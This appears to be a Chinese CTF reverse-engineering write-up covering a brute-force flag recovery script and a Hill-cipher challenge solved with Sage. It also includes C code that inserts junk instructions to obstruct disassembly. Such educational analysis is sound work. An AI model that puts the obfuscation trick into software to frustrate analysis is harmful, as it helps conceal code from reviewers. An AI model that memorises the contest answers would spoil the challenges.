queue = [{"idx":idx,"flag":flag}]
while 1:
one = queue.pop()
idx = one["idx"]
flag = one["flag"]
for i in range(0x20,0x7f,1):
temp = flag[:idx]+chr(i)+flag[idx+1:]
# print temp
with open("flag","wb+") as f:
f.write(temp)
f.close()
os.system('./a')
with open("output",'rb+') as f:
c = f.read()
f.close()
ce = ord(c[idx])
try:
if ce==enc[idx]:
new = [{"idx":(idx+7)%46,"flag":temp}]
# print new
queue += new
except Exception as e:
continue
#final
if idx==43:
print flag
# *ctf{EbXZCOD56vEHNSofFvRHG7XtgFJXcUXUGnaaaaaa}

image-20210121230732861

其实我还想到用之前自己做的钩子程序,直接测试函数片段,把那个随机数生成函数提取出来,做逆向也可以(理论上),但是现在这种做法这样也不会慢到哪里去所以还是可以的,不说了,ex师傅牛逼!加深了自己对于深度搜索的学习,get新技能。

4、wherekey

这道题因为是静态编译的文件,所以我们先通过strings过滤字符串得知是ubuntu20下的程序,于是导入符号signal,恢复一下符号表,接着在通过字符串定位主逻辑时,f5时发现有花指令,这里去花指令的操作也比较简单,就是先定位到一大堆的机器码那里,先c一下,然后看跳转,接着nop掉没用的指令,然后将函数整体先u再p就可以实现f5的反编译了,去花完成得到主逻辑如下:

image-20210128100624676

这里是通过tty和socket进行UDP交互的,绑定的8888端口

image-20210128102950566

直接运行时没有问题的,select时选择的是本地的输入输出,在进行动态调试时,我们需要通过

1
nc -u 127.0.0.1 8888

向调试程序发送输入的数据,然后在recvfrom时就会接收到我们的数据

image-20210128104208217

image-20210128105315719

接着主要逻辑就在0x4022de中,继续分析

image-20210128104323105

image-20210128104339015

这里初始化init时会将输入处理好:

image-20210128104414561

可以得到每行取5个值:

1
2
3
4
5
string='flag{are_you_sure_friend}'
num=[]
for i in range(5):
for j in range(5):
num.append(ord(string[5 * j + i]))

然后继续func函数处理,这里是将init里面的值和输入的值进行了乘法运算再相加,这里可以猜测是矩阵的乘法运算:

image-20210128104456524

乘完取余再存储到table中,以矩阵的形式,最后进行了cmp比较

image-20210128104614268

我们可以提取出密文crypto:

1
enc=[0x38, 0x6D, 0x4B, 0x4B, 0xB9, 0x8A, 0xF9, 0x8A, 0xBB, 0x5C, 0x8A, 0x9A, 0xBA, 0x6B, 0xD2, 0xC6, 0xBB, 0x05, 0x90, 0x56, 0x93, 0xE6, 0x12, 0xBD, 0x4F]

分析到这里其实已经比较明显了,就是个hill加密,所以我们要做的就是找到那个A的逆矩阵即可

1
2
3
flag*A=C
flag*A*(A^-1)=C*(A^-1)
flag=C*(A^-1)
1
2
3
4
5
6
//Sage求解
A = Matrix(GF(257),[[102, 108, 97, 103, 123], [97, 114, 101, 95, 121], [111, 117, 95, 115, 117], [114, 101, 95, 102, 114], [105, 101, 110, 100, 125]])

encode = Matrix(GF(257),[[56, 109, 75,75,185], [138 ,249, 138, 187, 92],[138, 154 ,186, 107, 210],[198, 187, 5, 144, 86],[147, 230, 18, 189, 79]])

flag = encode*A.inverse()

得到flag转成字符:

1
*CTF{Ha23_f0n_9nd_G0od-1uck-OH}

鉴于之前花指令和内嵌汇编做的少,这里也刚好可以学习一下操作,我看了下源码,大概了解了怎么使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <string.h>
#define JUNKCODE \
__asm__ __volatile__( \
"jmp junk1\n\t" \
".byte 0x12\n\t" \
" junk2 : \n\t" \
"ret \n\t" \
".byte 0x34\n\t" \
"junk1 : \n\t" \
"call junk2\n\t");
#define JUNKCODE2 __asm__ __volatile__( \
".byte 0x75\n\t" \
".byte 0x2\n\t" \
".byte 0xE9\n\t" \
".byte 0xED\n\t");
int main(int argc, char const *argv[])
{
char buf[100];
read(0,buf,100);
JUNKCODE
JUNKCODE2
write(1,buf,100);
return 0;
}

内嵌汇编的形式加入到里面,其实也可以在pwn中相当于自己提前加想要的gadget,花指令可以起到扰乱逆向工程师分析的目的,同时sage在逆向中的运用还是可以学习一下的,在ubuntu装一个sage,以后也可以用:

1
sudo apt install sagemath-common
0%